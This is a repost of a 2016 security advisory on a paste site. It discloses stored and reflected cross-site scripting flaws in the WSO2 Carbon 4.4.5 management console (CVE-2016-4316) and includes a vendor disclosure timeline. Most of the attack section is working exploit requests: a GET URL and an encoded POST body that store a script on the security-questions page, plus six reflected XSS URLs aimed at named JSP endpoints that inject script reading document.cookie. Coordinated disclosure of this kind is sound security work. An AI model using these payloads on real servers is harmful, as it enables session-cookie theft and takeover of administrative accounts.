WSO2 Carbon 4.4.5 - Stored XSS

  1. [+] Credits: John Page aka HYP3RLINX
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:  http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-PERSISTENT-XSS-COOKIE-THEFT.txt
  6.  
  7. [+] ISR: ApparitionSec
  8.  
  9.  
  10. Vendor:
  11. =============
  12. www.wso2.com
  13.  
  14.  
  15. Product:
  16. ==================
  17. Ws02Carbon v4.4.5
  18.  
  19. WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows
  20. components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts.
  21. In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security,
  22. logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario.
  23.  
  24.  
  25. Vulnerability Type:
  26. ===========================
  27. Persistent / Reflected
  28. Cross Site Scripting (XSS) - Cookie Disclosure
  29.  
  30.  
  31. CVE Reference:
  32. ==============
  33. CVE-2016-4316
  34.  
  35.  
  36. Vulnerability Details:
  37. =====================
  38.  
  39. WSo2 Carbon has multiple XSS vectors allowing attackers to inject client-side scripts into web pages viewed by other users.
  40. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy,
  41. stealing session cookies and used as a platform for further attacks on the system.
  42.  
  43.  
  44. Exploit code(s)
  45. ===============
  46.  
  47.  
  48. Persistent XSS:
  49.  
  50. GET Request
  51. https://victim-server:9443/carbon/identity-mgt/challenges-mgt.jsp?addRowId=XSS&setName="/><script>alert(document.cookie)</script>
  52.  
  53.  
  54. Request two is POST
  55. /carbon/identity-mgt/challenges-mgt-finish.jsp
  56.  
  57. setName=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question0=&question1=City+where+you+were+born+%3F&setId1=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question1=City+where+you+were+born+%3F&question2=Father%27s+middle+name+%3F&setId2=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question2=Father%27s+middle+name+%3F&question3=Name+of+your+first+pet+%3F&setId3=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question3=Name+of+your+first+pet+%3F&question4=Favorite+sport+%3F&setId4=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question4=Favorite+sport+%3F&question5=Favorite+food+%3F&setId5=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question5=Favorite+food+%3F&question6=Favorite+vacation+location+%3F&setId6=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question6=Favorite+vacation+location+%3F&question7=Model+of+your+first+car+%3F&setId7=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question7=Model+of+your+first+car+%3F&question8=Name+of+the+hospital+where+you+were+born+%3F&setId8=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question8=Name+of+the+hospital+where+you+were+born+%3F&setId9=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question9=XSS
  58.  
  59.  
  60. Then XSS payload will be listed here in below URL:
  61.  
  62. https://victim-server:9443/carbon/identity-mgt/challenges-set-mgt.jsp?region=region1&item=identity_security_questions_menu
  63.  
  64. Finally when victim clicks to "Delete" entry on the page the XSS is executed.
  65.  
  66. Here is stored payload from the HTML source
  67.  
  68. <a onclick="removeSet('\x22/><script>alert(666)</script>')" style='background-image:url(images/delete.gif);'  type="button" class="icon-link">Delete</a></td>
  69.  
  70.  
  71. ///////////////////////////////////////////////////////////////////////////////////////////////////////////
  72.  
  73.  
  74. Reflected XSS
  75.  
  76. XSS #1
  77. https://victim-server:9443/carbon/webapp-list/webapp_info.jsp?webappFileName=odata.war&webappState=all&hostName=victim-server&httpPort=9763&defaultHostName=victim-server&webappType=%22/%3E%3Cscript%3Ealert%28%27XSS%20hyp3rlinx%20\n\n%27%20%2bdocument.cookie%29%3C/script%3E
  78.  
  79.  
  80. XSS #2
  81. https://victim-server:9443/carbon/ndatasource/newdatasource.jsp?dsName=%22onMouseMove=%22alert%28%27XSS%20by%20hyp3rlinx%20\n\n%27%2bdocument.cookie%29&edit=HELL
  82.  
  83.  
  84. XSS #3
  85. https://victim-server:9443/carbon/ndatasource/newdatasource.jsp?description=%22onMouseMove=%22alert%28%27XSS%20by%20hyp3rlinx%20\n\n%27%2bdocument.cookie%29&edit=true
  86.  
  87.  
  88. XSS #4
  89. https://victim-server:9443/carbon/webapp-list/webapp_info.jsp?webappFileName=odata.war&webappState=all&hostName=victim-server&httpPort=%22/%3E%3Cscript%3Ealert%28%27XSS%20hyp3rlinx%20\n\n%27%20%2bdocument.cookie%29%3C/script%3E&defaultHostName=victim-server&webappType=
  90.  
  91. XSS #5
  92. https://victim-server:9443/carbon/viewflows/handlers.jsp?retainlastbc=true&flow=in&phase=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
  93.  
  94.  
  95. XSS #6
  96. https://victim-server:9443/carbon/ndatasource/validateconnection-ajaxprocessor.jsp?&dsName=WSO2_CARBON_DB&driver=com.mysql.jdbc.Driver&url=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&username=root&dsType=RDBMS&customDsType=RDBMS&dsProviderType=default&dsclassname=undefined&dsclassname=undefined&dsproviderProperties=undefined&editMode=false&changePassword=true&newPassword=
  97.  
  98.  
  99. Disclosure Timeline:
  100. ===========================================
  101. Vendor Notification: May 6, 2016
  102. Vendor Acknowledgement: May 6, 2016
  103. Vendor Fix / Customer Alerts: June 30, 2016
  104. August 12, 2016  : Public Disclosure
  105.  
  106.  
  107. Exploitation Technique:
  108. =======================
  109. Remote
  110.  
  111.  
  112. Severity Level:
  113. ===============
  114. Medium
  115.  
  116.  
  117. [+] Disclaimer
  118. The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  119. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  120. that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  121. is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  122. for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  123. or exploits by the author or elsewhere.
  124.  
  125. HYP3RLINX

連絡先: info@paste.jp
Created by Paste.jp - v7.0